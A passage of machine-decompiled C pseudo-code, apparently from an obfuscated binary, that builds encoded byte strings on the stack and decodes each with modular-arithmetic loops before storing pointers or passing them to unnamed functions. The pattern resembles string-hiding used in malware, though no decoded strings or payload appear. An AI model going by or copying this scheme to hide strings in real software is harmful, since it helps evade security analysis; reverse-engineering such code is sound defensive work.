				 *((char*)(_t2798 - 0x5fa)) = 0x21;
				 *((char*)(_t2798 - 0x5f9)) = 0x21;
				 *((char*)(_t2798 - 0x5f8)) = 0x21;
				if( *((char*)(_t2798 - 0x604)) == 0) {
					_t2782 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2782 - 0x603) = (((( *(_t2798 + _t2782 - 0x603) & 0x000000ff) - 0x21) * 8 - ( *(_t2798 + _t2782 - 0x603) & 0x000000ff) - 0x21) % _t2503 + 0x7f) % _t2503;
						_t2782 = _t2782 + 1;
					} while (_t2782 < 0xc);
				}
				 *((intOrPtr*)(_t2798 - 0x990)) = _t2798 - 0x603;
				 *((char*)(_t2798 - 0x42c)) = 0;
				 *((char*)(_t2798 - 0x42b)) = 0x5c;
				 *((char*)(_t2798 - 0x42a)) = 0x1c;
				 *((char*)(_t2798 - 0x429)) = 0x20;
				 *((char*)(_t2798 - 0x428)) = 0x1c;
				 *((char*)(_t2798 - 0x427)) = 0x65;
				 *((char*)(_t2798 - 0x426)) = 0x1c;
				 *((char*)(_t2798 - 0x425)) = 7;
				 *((char*)(_t2798 - 0x424)) = 0x1c;
				 *((char*)(_t2798 - 0x423)) = 0x1c;
				 *((char*)(_t2798 - 0x422)) = 0x1c;
				if( *((char*)(_t2798 - 0x42c)) == 0) {
					_t2781 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2781 - 0x42b) = ((0x1c - ( *(_t2798 + _t2781 - 0x42b) & 0x000000ff)) * 0x23 % _t2503 + 0x7f) % _t2503;
						_t2781 = _t2781 + 1;
					} while (_t2781 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x98c)) = _t2798 - 0x42b;
				 *((char*)(_t2798 - 0x438)) = 0;
				 *((char*)(_t2798 - 0x437)) = 0x6e;
				 *((char*)(_t2798 - 0x436)) = 0x5d;
				 *((char*)(_t2798 - 0x435)) = 0x66;
				 *((char*)(_t2798 - 0x434)) = 0x5d;
				 *((char*)(_t2798 - 0x433)) = 0x48;
				 *((char*)(_t2798 - 0x432)) = 0x5d;
				 *((char*)(_t2798 - 0x431)) = 0xe;
				 *((char*)(_t2798 - 0x430)) = 0x5d;
				 *((char*)(_t2798 - 0x42f)) = 0x5d;
				 *((char*)(_t2798 - 0x42e)) = 0x5d;
				if( *((char*)(_t2798 - 0x438)) == 0) {
					_t2584 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2584 - 0x437) = ((( *(_t2798 + _t2584 - 0x437) & 0x000000ff) - 0x5d) * 0x37 % _t2503 + 0x7f) % _t2503;
						_t2584 = _t2584 + 1;
					} while (_t2584 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x988)) = _t2798 - 0x437;
				 *((char*)(_t2798 - 0x768)) = 0;
				 *((char*)(_t2798 - 0x767)) = 0x5c;
				 *((char*)(_t2798 - 0x766)) = 0x12;
				 *((char*)(_t2798 - 0x765)) = 0x4c;
				 *((char*)(_t2798 - 0x764)) = 0x12;
				 *((char*)(_t2798 - 0x763)) = 0x24;
				 *((char*)(_t2798 - 0x762)) = 0x12;
				 *((char*)(_t2798 - 0x761)) = 0x4c;
				 *((char*)(_t2798 - 0x760)) = 0x12;
				 *((char*)(_t2798 - 0x75f)) = 0x70;
				 *((char*)(_t2798 - 0x75e)) = 0x12;
				 *((char*)(_t2798 - 0x75d)) = 0xa;
				 *((char*)(_t2798 - 0x75c)) = 0x12;
				 *((char*)(_t2798 - 0x75b)) = 0x55;
				 *((char*)(_t2798 - 0x75a)) = 0x12;
				 *((char*)(_t2798 - 0x759)) = 0x24;
				 *((char*)(_t2798 - 0x758)) = 0x12;
				 *((char*)(_t2798 - 0x757)) = 0x32;
				 *((char*)(_t2798 - 0x756)) = 0x12;
				 *((char*)(_t2798 - 0x755)) = 0x12;
				 *((char*)(_t2798 - 0x754)) = 0x12;
				if( *((char*)(_t2798 - 0x768)) == 0) {
					_t2780 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2780 - 0x767) = ((0x12 - ( *(_t2798 + _t2780 - 0x767) & 0x000000ff)) * 0x2c % _t2503 + 0x7f) % _t2503;
						_t2780 = _t2780 + 1;
					} while (_t2780 < 0x14);
				}
				 *((intOrPtr*)(_t2798 - 0x984)) = _t2798 - 0x767;
				 *((char*)(_t2798 - 0x7fc)) = 0;
				 *((char*)(_t2798 - 0x7fb)) = 0x3e;
				 *((char*)(_t2798 - 0x7fa)) = 0x61;
				 *((char*)(_t2798 - 0x7f9)) = 0x49;
				 *((char*)(_t2798 - 0x7f8)) = 0x61;
				 *((char*)(_t2798 - 0x7f7)) = 0x27;
				 *((char*)(_t2798 - 0x7f6)) = 0x61;
				 *((char*)(_t2798 - 0x7f5)) = 0x2f;
				 *((char*)(_t2798 - 0x7f4)) = 0x61;
				 *((char*)(_t2798 - 0x7f3)) = 0x61;
				 *((char*)(_t2798 - 0x7f2)) = 0x61;
				 *((intOrPtr*)(_t2798 - 0x980)) = E00F2F4C0(_t2798 - 0x7fc);
				 *((char*)(_t2798 - 0x444)) = 0;
				 *((char*)(_t2798 - 0x443)) = 0x47;
				 *((char*)(_t2798 - 0x442)) = 0x78;
				 *((char*)(_t2798 - 0x441)) = 0x3d;
				 *((char*)(_t2798 - 0x440)) = 0x78;
				 *((char*)(_t2798 - 0x43f)) = 0x43;
				 *((char*)(_t2798 - 0x43e)) = 0x78;
				 *((char*)(_t2798 - 0x43d)) = 0x4b;
				 *((char*)(_t2798 - 0x43c)) = 0x78;
				 *((char*)(_t2798 - 0x43b)) = 0x78;
				 *((char*)(_t2798 - 0x43a)) = 0x78;
				if( *((char*)(_t2798 - 0x444)) == 0) {
					_t2779 = 0;
					do {
						_t759 = _t2779 - 0x443; // 0x47
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2779 - 0x443)) = ((0x78 - ( *(_t2798 + _t759) & 0x000000ff)) * 0x2d % _t2503 + 0x7f) % _t2503;
						_t2779 = _t2779 + 1;
					} while (_t2779 < 0xa);
				}
				_t771 = _t2798 - 0x443; // 0x47
				 *((intOrPtr*)(_t2798 - 0x97c)) = _t771;
				 *((char*)(_t2798 - 0x808)) = 0;
				 *((char*)(_t2798 - 0x807)) = 0x32;
				 *((char*)(_t2798 - 0x806)) = 3;
				 *((char*)(_t2798 - 0x805)) = 0x39;
				 *((char*)(_t2798 - 0x804)) = 3;
				 *((char*)(_t2798 - 0x803)) = 0x3d;
				 *((char*)(_t2798 - 0x802)) = 3;
				 *((char*)(_t2798 - 0x801)) = 0x46;
				 *((char*)(_t2798 - 0x800)) = 3;
				 *((char*)(_t2798 - 0x7ff)) = 3;
				 *((char*)(_t2798 - 0x7fe)) = 3;
				 *((intOrPtr*)(_t2798 - 0x978)) = E00F2F460(_t2798 - 0x808);
				 *((char*)(_t2798 - 0x450)) = 0;
				 *((char*)(_t2798 - 0x44f)) = 9;
				 *((char*)(_t2798 - 0x44e)) = 0x28;
				 *((char*)(_t2798 - 0x44d)) = 0x1a;
				 *((char*)(_t2798 - 0x44c)) = 0x28;
				 *((char*)(_t2798 - 0x44b)) = 0x48;
				 *((char*)(_t2798 - 0x44a)) = 0x28;
				 *((char*)(_t2798 - 0x449)) = 0x5c;
				 *((char*)(_t2798 - 0x448)) = 0x28;
				 *((char*)(_t2798 - 0x447)) = 0x28;
				 *((char*)(_t2798 - 0x446)) = 0x28;
				if( *((char*)(_t2798 - 0x450)) == 0) {
					_t2579 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2579 - 0x44f) = ((( *(_t2798 + _t2579 - 0x44f) & 0x000000ff) - 0x28) * 0x13 % _t2503 + 0x7f) % _t2503;
						_t2579 = _t2579 + 1;
					} while (_t2579 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x974)) = _t2798 - 0x44f;
				 *((char*)(_t2798 - 0x45c)) = 0;
				 *((char*)(_t2798 - 0x45b)) = 2;
				 *((char*)(_t2798 - 0x45a)) = 0x15;
				 *((char*)(_t2798 - 0x459)) = 0x25;
				 *((char*)(_t2798 - 0x458)) = 0x15;
				 *((char*)(_t2798 - 0x457)) = 0x39;
				 *((char*)(_t2798 - 0x456)) = 0x15;
				 *((char*)(_t2798 - 0x455)) = 0xc;
				 *((char*)(_t2798 - 0x454)) = 0x15;
				 *((char*)(_t2798 - 0x453)) = 0x15;
				 *((char*)(_t2798 - 0x452)) = 0x15;
				if( *((char*)(_t2798 - 0x45c)) == 0) {
					_t2778 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2778 - 0x45b) = (((( *(_t2798 + _t2778 - 0x45b) & 0x000000ff) - 0x15 << 5) - ( *(_t2798 + _t2778 - 0x45b) & 0x000000ff) - 0x15) % _t2503 + 0x7f) % _t2503;
						_t2778 = _t2778 + 1;
					} while (_t2778 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x970)) = _t2798 - 0x45b;
				 *((char*)(_t2798 - 0x814)) = 0;
				 *((char*)(_t2798 - 0x813)) = 0x3c;
				 *((char*)(_t2798 - 0x812)) = 0x72;
				 *((char*)(_t2798 - 0x811)) = 0x6a;
				 *((char*)(_t2798 - 0x810)) = 0x72;
				 *((char*)(_t2798 - 0x80f)) = 0x39;
				 *((char*)(_t2798 - 0x80e)) = 0x72;
				 *((char*)(_t2798 - 0x80d)) = 0x6a;
				 *((char*)(_t2798 - 0x80c)) = 0x72;
				 *((char*)(_t2798 - 0x80b)) = 0x72;
				 *((char*)(_t2798 - 0x80a)) = 0x72;
				 *((intOrPtr*)(_t2798 - 0x96c)) = E00F2F400(_t2798 - 0x814);
				 *((char*)(_t2798 - 0x468)) = 0;
				 *((char*)(_t2798 - 0x467)) = 0x10;
				 *((char*)(_t2798 - 0x466)) = 0x6d;
				 *((char*)(_t2798 - 0x465)) = 0x43;
				 *((char*)(_t2798 - 0x464)) = 0x6d;
				 *((char*)(_t2798 - 0x463)) = 0x78;
				 *((char*)(_t2798 - 0x462)) = 0x6d;
				 *((char*)(_t2798 - 0x461)) = 0x3c;
				 *((char*)(_t2798 - 0x460)) = 0x6d;
				 *((char*)(_t2798 - 0x45f)) = 0x6d;
				 *((char*)(_t2798 - 0x45e)) = 0x6d;
				if( *((char*)(_t2798 - 0x468)) == 0) {
					_t2777 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2777 - 0x467) = ((0x6d - ( *(_t2798 + _t2777 - 0x467) & 0x000000ff) + 0x368 << 2) % _t2503 + 0x7f) % _t2503;
						_t2777 = _t2777 + 1;
					} while (_t2777 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x968)) = _t2798 - 0x467;
				 *((char*)(_t2798 - 0x474)) = 0;
				 *((char*)(_t2798 - 0x473)) = 0x70;
				 *((char*)(_t2798 - 0x472)) = 0x30;
				 *((char*)(_t2798 - 0x471)) = 0x51;
				 *((char*)(_t2798 - 0x470)) = 0x30;
				 *((char*)(_t2798 - 0x46f)) = 0x17;
				 *((char*)(_t2798 - 0x46e)) = 0x30;
				 *((char*)(_t2798 - 0x46d)) = 5;
				 *((char*)(_t2798 - 0x46c)) = 0x30;
				 *((char*)(_t2798 - 0x46b)) = 0x30;
				 *((char*)(_t2798 - 0x46a)) = 0x30;
				if( *((char*)(_t2798 - 0x474)) == 0) {
					_t2776 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2776 - 0x473) = ((0x30 - ( *(_t2798 + _t2776 - 0x473) & 0x000000ff)) * 0x23 % _t2503 + 0x7f) % _t2503;
						_t2776 = _t2776 + 1;
					} while (_t2776 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x964)) = _t2798 - 0x473;
				 *((char*)(_t2798 - 0x724)) = 0;
				 *((char*)(_t2798 - 0x723)) = 0x61;
				 *((char*)(_t2798 - 0x722)) = 0x63;
				 *((char*)(_t2798 - 0x721)) = 0x5e;
				 *((char*)(_t2798 - 0x720)) = 0x63;
				 *((char*)(_t2798 - 0x71f)) = 0x48;
				 *((char*)(_t2798 - 0x71e)) = 0x63;
				 *((char*)(_t2798 - 0x71d)) = 0x11;
				 *((char*)(_t2798 - 0x71c)) = 0x63;
				 *((char*)(_t2798 - 0x71b)) = 0x6f;
				 *((char*)(_t2798 - 0x71a)) = 0x63;
				 *((char*)(_t2798 - 0x719)) = 0x69;
				 *((char*)(_t2798 - 0x718)) = 0x63;
				 *((char*)(_t2798 - 0x717)) = 0x43;
				 *((char*)(_t2798 - 0x716)) = 0x63;
				 *((char*)(_t2798 - 0x715)) = 0x63;
				 *((char*)(_t2798 - 0x714)) = 0x63;
				if( *((char*)(_t2798 - 0x724)) == 0) {
					_t2775 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2775 - 0x723) = ((0x63 - ( *(_t2798 + _t2775 - 0x723) & 0x000000ff)) * 0x17 % _t2503 + 0x7f) % _t2503;
						_t2775 = _t2775 + 1;
					} while (_t2775 < 0x10);
				}
				 *((intOrPtr*)(_t2798 - 0x960)) = _t2798 - 0x723;
				 *((char*)(_t2798 - 0x738)) = 0;
				 *((char*)(_t2798 - 0x737)) = 0x4d;
				 *((char*)(_t2798 - 0x736)) = 0x34;
				 *((char*)(_t2798 - 0x735)) = 0x33;
				 *((char*)(_t2798 - 0x734)) = 0x34;
				 *((char*)(_t2798 - 0x733)) = 0x48;
				 *((char*)(_t2798 - 0x732)) = 0x34;
				 *((char*)(_t2798 - 0x731)) = 0x3d;
				 *((char*)(_t2798 - 0x730)) = 0x34;
				 *((char*)(_t2798 - 0x72f)) = 0x1d;
				 *((char*)(_t2798 - 0x72e)) = 0x34;
				 *((char*)(_t2798 - 0x72d)) = 0x68;
				 *((char*)(_t2798 - 0x72c)) = 0x34;
				 *((char*)(_t2798 - 0x72b)) = 0x47;
				 *((char*)(_t2798 - 0x72a)) = 0x34;
				 *((char*)(_t2798 - 0x729)) = 0x58;
				 *((char*)(_t2798 - 0x728)) = 0x34;
				 *((char*)(_t2798 - 0x727)) = 0x34;
				 *((char*)(_t2798 - 0x726)) = 0x34;
				if( *((char*)(_t2798 - 0x738)) == 0) {
					_t2570 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2570 - 0x737) = ((( *(_t2798 + _t2570 - 0x737) & 0x000000ff) - 0x34 + (( *(_t2798 + _t2570 - 0x737) & 0x000000ff) - 0x34) * 2 << 2) % _t2503 + 0x7f) % _t2503;
						_t2570 = _t2570 + 1;
					} while (_t2570 < 0x12);
				}
				 *((intOrPtr*)(_t2798 - 0x95c)) = _t2798 - 0x737;
				 *((char*)(_t2798 - 0x8cc)) = 0;
				 *((char*)(_t2798 - 0x8cb)) = 0x28;
				 *((char*)(_t2798 - 0x8ca)) = 0x4b;
				 *((char*)(_t2798 - 0x8c9)) = 0x33;
				 *((char*)(_t2798 - 0x8c8)) = 0x4b;
				 *((char*)(_t2798 - 0x8c7)) = 0x2f;
				 *((char*)(_t2798 - 0x8c6)) = 0x4b;
				 *((char*)(_t2798 - 0x8c5)) = 0x25;
				 *((char*)(_t2798 - 0x8c4)) = 0x4b;
				 *((char*)(_t2798 - 0x8c3)) = 0x1f;
				 *((char*)(_t2798 - 0x8c2)) = 0x4b;
				 *((char*)(_t2798 - 0x8c1)) = 0x35;
				 *((char*)(_t2798 - 0x8c0)) = 0x4b;
				 *((char*)(_t2798 - 0x8bf)) = 0x17;
				 *((char*)(_t2798 - 0x8be)) = 0x4b;
				 *((char*)(_t2798 - 0x8bd)) = 0x15;
				 *((char*)(_t2798 - 0x8bc)) = 0x4b;
				 *((char*)(_t2798 - 0x8bb)) = 0x11;
				 *((char*)(_t2798 - 0x8ba)) = 0x4b;
				 *((char*)(_t2798 - 0x8b9)) = 0x4b;
				 *((char*)(_t2798 - 0x8b8)) = 0x4b;
				 *((intOrPtr*)(_t2798 - 0x958)) = E00F2F3A0(_t2798 - 0x8cc);
				 *((char*)(_t2798 - 0x24)) = 0;
				 *((char*)(_t2798 - 0x23)) = 0x5f;
				 *((char*)(_t2798 - 0x22)) = 0x54;
				 *((char*)(_t2798 - 0x21)) = 0x33;
				 *((char*)(_t2798 - 0x20)) = 0x54;
				 *((char*)(_t2798 - 0x1f)) = 6;
				 *((char*)(_t2798 - 0x1e)) = 0x54;
				 *((char*)(_t2798 - 0x1d)) = 0x54;
				 *((char*)(_t2798 - 0x1c)) = 0x54;
				if( *((char*)(_t2798 - 0x24)) == 0) {
					_t2774 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2774 - 0x23) = ((0x54 - ( *(_t2798 + _t2774 - 0x23) & 0x000000ff)) * 0x2a % _t2503 + 0x7f) % _t2503;
						_t2774 = _t2774 + 1;
					} while (_t2774 < 8);
				}
				 *((intOrPtr*)(_t2798 - 0x954)) = _t2798 - 0x23;
				 *((char*)(_t2798 - 0x614)) = 0;
				 *((char*)(_t2798 - 0x613)) = 0xe;
				 *((char*)(_t2798 - 0x612)) = 0x79;
				 *((char*)(_t2798 - 0x611)) = 0x3d;
				 *((char*)(_t2798 - 0x610)) = 0x79;
				 *((char*)(_t2798 - 0x60f)) = 0x3c;
				 *((char*)(_t2798 - 0x60e)) = 0x79;
				 *((char*)(_t2798 - 0x60d)) = 0x45;
				 *((char*)(_t2798 - 0x60c)) = 0x79;
				 *((char*)(_t2798 - 0x60b)) = 2;
				 *((char*)(_t2798 - 0x60a)) = 0x79;
				 *((char*)(_t2798 - 0x609)) = 0x79;
				 *((char*)(_t2798 - 0x608)) = 0x79;
				if( *((char*)(_t2798 - 0x614)) == 0) {
					_t2773 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2773 - 0x613) = (((( *(_t2798 + _t2773 - 0x613) & 0x000000ff) - 0x79 << 4) - ( *(_t2798 + _t2773 - 0x613) & 0x000000ff) - 0x79) % _t2503 + 0x7f) % _t2503;
						_t2773 = _t2773 + 1;
					} while (_t2773 < 0xc);
				}
				 *((intOrPtr*)(_t2798 - 0x950)) = _t2798 - 0x613;
				 *((char*)(_t2798 - 0x480)) = 0;
				 *((char*)(_t2798 - 0x47f)) = 0x47;
				 *((char*)(_t2798 - 0x47e)) = 0x66;
				 *((char*)(_t2798 - 0x47d)) = 0x44;
				 *((char*)(_t2798 - 0x47c)) = 0x66;
				 *((char*)(_t2798 - 0x47b)) = 0x51;
				 *((char*)(_t2798 - 0x47a)) = 0x66;
				 *((char*)(_t2798 - 0x479)) = 7;
				 *((char*)(_t2798 - 0x478)) = 0x66;
				 *((char*)(_t2798 - 0x477)) = 0x66;
				 *((char*)(_t2798 - 0x476)) = 0x66;
				if( *((char*)(_t2798 - 0x480)) == 0) {
					_t2565 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2565 - 0x47f) = ((( *(_t2798 + _t2565 - 0x47f) & 0x000000ff) - 0x66) * 0x13 % _t2503 + 0x7f) % _t2503;
						_t2565 = _t2565 + 1;
					} while (_t2565 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x94c)) = _t2798 - 0x47f;
				 *((char*)(_t2798 - 0x48c)) = 0;
				 *((char*)(_t2798 - 0x48b)) = 0x4d;
				 *((char*)(_t2798 - 0x48a)) = 0x45;
				 *((char*)(_t2798 - 0x489)) = 0x2d;
				 *((char*)(_t2798 - 0x488)) = 0x45;
				 *((char*)(_t2798 - 0x487)) = 0x5e;
				 *((char*)(_t2798 - 0x486)) = 0x45;
				 *((char*)(_t2798 - 0x485)) = 0x59;
				 *((char*)(_t2798 - 0x484)) = 0x45;
				 *((char*)(_t2798 - 0x483)) = 0x45;
				 *((char*)(_t2798 - 0x482)) = 0x45;
				if( *((char*)(_t2798 - 0x48c)) == 0) {
					_t2772 = 0;
					do {
						_t1109 = _t2772 - 0x48b; // 0x4d
						asm("cdq");
						asm("cdq");
						 *((char*)(_t2798 + _t2772 - 0x48b)) = ((0x45 - ( *(_t2798 + _t1109) & 0x000000ff)) * 0x1a % _t2503 + 0x7f) % _t2503;
						_t2772 = _t2772 + 1;
					} while (_t2772 < 0xa);
				}
				_t1121 = _t2798 - 0x48b; // 0x4d
				 *((intOrPtr*)(_t2798 - 0x948)) = _t1121;
				 *((char*)(_t2798 - 0x498)) = 0;
				 *((char*)(_t2798 - 0x497)) = 5;
				 *((char*)(_t2798 - 0x496)) = 0x40;
				 *((char*)(_t2798 - 0x495)) = 0x72;
				 *((char*)(_t2798 - 0x494)) = 0x40;
				 *((char*)(_t2798 - 0x493)) = 0x64;
				 *((char*)(_t2798 - 0x492)) = 0x40;
				 *((char*)(_t2798 - 0x491)) = 0x7a;
				 *((char*)(_t2798 - 0x490)) = 0x40;
				 *((char*)(_t2798 - 0x48f)) = 0x40;
				 *((char*)(_t2798 - 0x48e)) = 0x40;
				if( *((char*)(_t2798 - 0x498)) == 0) {
					_t2771 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2771 - 0x497) = ((0x40 - ( *(_t2798 + _t2771 - 0x497) & 0x000000ff) + 0x200 + 0x40 - ( *(_t2798 + _t2771 - 0x497) & 0x000000ff) + 0x200) % _t2503 + 0x7f) % _t2503;
						_t2771 = _t2771 + 1;
					} while (_t2771 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x944)) = _t2798 - 0x497;
				 *((char*)(_t2798 - 0x4a4)) = 0;
				 *((char*)(_t2798 - 0x4a3)) = 0x25;
				 *((char*)(_t2798 - 0x4a2)) = 3;
				 *((char*)(_t2798 - 0x4a1)) = 0x1c;
				 *((char*)(_t2798 - 0x4a0)) = 3;
				 *((char*)(_t2798 - 0x49f)) = 0x15;
				 *((char*)(_t2798 - 0x49e)) = 3;
				 *((char*)(_t2798 - 0x49d)) = 0x43;
				 *((char*)(_t2798 - 0x49c)) = 3;
				 *((char*)(_t2798 - 0x49b)) = 3;
				 *((char*)(_t2798 - 0x49a)) = 3;
				if( *((char*)(_t2798 - 0x4a4)) == 0) {
					_t2770 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2770 - 0x4a3) = ((3 - ( *(_t2798 + _t2770 - 0x4a3) & 0x000000ff) + 0x18 << 2) % _t2503 + 0x7f) % _t2503;
						_t2770 = _t2770 + 1;
					} while (_t2770 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x940)) = _t2798 - 0x4a3;
				 *((char*)(_t2798 - 0x4b0)) = 0;
				 *((char*)(_t2798 - 0x4af)) = 0x12;
				 *((char*)(_t2798 - 0x4ae)) = 0x36;
				 *((char*)(_t2798 - 0x4ad)) = 0x6a;
				 *((char*)(_t2798 - 0x4ac)) = 0x36;
				 *((char*)(_t2798 - 0x4ab)) = 0x2a;
				 *((char*)(_t2798 - 0x4aa)) = 0x36;
				 *((char*)(_t2798 - 0x4a9)) = 0x1b;
				 *((char*)(_t2798 - 0x4a8)) = 0x36;
				 *((char*)(_t2798 - 0x4a7)) = 0x36;
				 *((char*)(_t2798 - 0x4a6)) = 0x36;
				if( *((char*)(_t2798 - 0x4b0)) == 0) {
					_t2769 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2769 - 0x4af) = (((( *(_t2798 + _t2769 - 0x4af) & 0x000000ff) - 0x36 << 4) + ( *(_t2798 + _t2769 - 0x4af) & 0x000000ff) - 0x36 + (( *(_t2798 + _t2769 - 0x4af) & 0x000000ff) - 0x36 << 4) + ( *(_t2798 + _t2769 - 0x4af) & 0x000000ff) - 0x36) % _t2503 + 0x7f) % _t2503;
						_t2769 = _t2769 + 1;
					} while (_t2769 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x93c)) = _t2798 - 0x4af;
				 *((char*)(_t2798 - 0x4bc)) = 0;
				 *((char*)(_t2798 - 0x4bb)) = 0x18;
				 *((char*)(_t2798 - 0x4ba)) = 7;
				 *((char*)(_t2798 - 0x4b9)) = 0x35;
				 *((char*)(_t2798 - 0x4b8)) = 7;
				 *((char*)(_t2798 - 0x4b7)) = 0x37;
				 *((char*)(_t2798 - 0x4b6)) = 7;
				 *((char*)(_t2798 - 0x4b5)) = 0x45;
				 *((char*)(_t2798 - 0x4b4)) = 7;
				 *((char*)(_t2798 - 0x4b3)) = 7;
				 *((char*)(_t2798 - 0x4b2)) = 7;
				if( *((char*)(_t2798 - 0x4bc)) == 0) {
					_t2556 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2556 - 0x4bb) = ((( *(_t2798 + _t2556 - 0x4bb) & 0x000000ff) - 7) * 0x37 % _t2503 + 0x7f) % _t2503;
						_t2556 = _t2556 + 1;
					} while (_t2556 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x938)) = _t2798 - 0x4bb;
				 *((char*)(_t2798 - 0x4c8)) = 0;
				 *((char*)(_t2798 - 0x4c7)) = 0x37;
				 *((char*)(_t2798 - 0x4c6)) = 0x1e;
				 *((char*)(_t2798 - 0x4c5)) = 8;
				 *((char*)(_t2798 - 0x4c4)) = 0x1e;
				 *((char*)(_t2798 - 0x4c3)) = 0x1d;
				 *((char*)(_t2798 - 0x4c2)) = 0x1e;
				 *((char*)(_t2798 - 0x4c1)) = 0x67;
				 *((char*)(_t2798 - 0x4c0)) = 0x1e;
				 *((char*)(_t2798 - 0x4bf)) = 0x1e;
				 *((char*)(_t2798 - 0x4be)) = 0x1e;
				if( *((char*)(_t2798 - 0x4c8)) == 0) {
					_t2555 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2555 - 0x4c7) = ((( *(_t2798 + _t2555 - 0x4c7) & 0x000000ff) - 0x1e + (( *(_t2798 + _t2555 - 0x4c7) & 0x000000ff) - 0x1e) * 2 << 2) % _t2503 + 0x7f) % _t2503;
						_t2555 = _t2555 + 1;
					} while (_t2555 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x934)) = _t2798 - 0x4c7;
				 *((char*)(_t2798 - 0x4d4)) = 0;
				 *((char*)(_t2798 - 0x4d3)) = 0x44;
				 *((char*)(_t2798 - 0x4d2)) = 0x27;
				 *((char*)(_t2798 - 0x4d1)) = 0xe;
				 *((char*)(_t2798 - 0x4d0)) = 0x27;
				 *((char*)(_t2798 - 0x4cf)) = 0x22;
				 *((char*)(_t2798 - 0x4ce)) = 0x27;
				 *((char*)(_t2798 - 0x4cd)) = 0x41;
				 *((char*)(_t2798 - 0x4cc)) = 0x27;
				 *((char*)(_t2798 - 0x4cb)) = 0x27;
				 *((char*)(_t2798 - 0x4ca)) = 0x27;
				if( *((char*)(_t2798 - 0x4d4)) == 0) {
					_t2554 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2554 - 0x4d3) = ((( *(_t2798 + _t2554 - 0x4d3) & 0x000000ff) - 0x27) * 0x29 % _t2503 + 0x7f) % _t2503;
						_t2554 = _t2554 + 1;
					} while (_t2554 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x930)) = _t2798 - 0x4d3;
				 *((char*)(_t2798 - 0x4e0)) = 0;
				 *((char*)(_t2798 - 0x4df)) = 0x1b;
				 *((char*)(_t2798 - 0x4de)) = 0x4c;
				 *((char*)(_t2798 - 0x4dd)) = 0;
				 *((char*)(_t2798 - 0x4dc)) = 0x4c;
				 *((char*)(_t2798 - 0x4db)) = 0x74;
				 *((char*)(_t2798 - 0x4da)) = 0x4c;
				 *((char*)(_t2798 - 0x4d9)) = 0x11;
				 *((char*)(_t2798 - 0x4d8)) = 0x4c;
				 *((char*)(_t2798 - 0x4d7)) = 0x4c;
				 *((char*)(_t2798 - 0x4d6)) = 0x4c;
				if( *((char*)(_t2798 - 0x4e0)) == 0) {
					_t2768 = 0;
					asm("o16 nop [eax+eax]");
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2768 - 0x4df) = ((0x4c - ( *(_t2798 + _t2768 - 0x4df) & 0x000000ff)) * 0x2d % _t2503 + 0x7f) % _t2503;
						_t2768 = _t2768 + 1;
					} while (_t2768 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x92c)) = _t2798 - 0x4df;
				 *((char*)(_t2798 - 0x4ec)) = 0;
				 *((char*)(_t2798 - 0x4eb)) = 0x4d;
				 *((char*)(_t2798 - 0x4ea)) = 0x39;
				 *((char*)(_t2798 - 0x4e9)) = 0x1f;
				 *((char*)(_t2798 - 0x4e8)) = 0x39;
				 *((char*)(_t2798 - 0x4e7)) = 0x38;
				 *((char*)(_t2798 - 0x4e6)) = 0x39;
				 *((char*)(_t2798 - 0x4e5)) = 0x6a;
				 *((char*)(_t2798 - 0x4e4)) = 0x39;
				 *((char*)(_t2798 - 0x4e3)) = 0x39;
				 *((char*)(_t2798 - 0x4e2)) = 0x39;
				if( *((char*)(_t2798 - 0x4ec)) == 0) {
					_t2767 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t2798 + _t2767 - 0x4eb) = (((( *(_t2798 + _t2767 - 0x4eb) & 0x000000ff) - 0x39 << 4) - ( *(_t2798 + _t2767 - 0x4eb) & 0x000000ff) - 0x39) % _t2503 + 0x7f) % _t2503;
						_t2767 = _t2767 + 1;
					} while (_t2767 < 0xa);
				}
				 *((intOrPtr*)(_t2798 - 0x928)) = _t2798 - 0x4eb;
				 *((char*)(_t2798 - 0x4f8)) = 0;
				 *((char*)(_t2798 - 0x4f7)) = 9;
				 *((char*)(_t2798 - 0x4f6)) = 0x18;
				 *((char*)(_t2798 - 0x4f5)) = 0x6b;
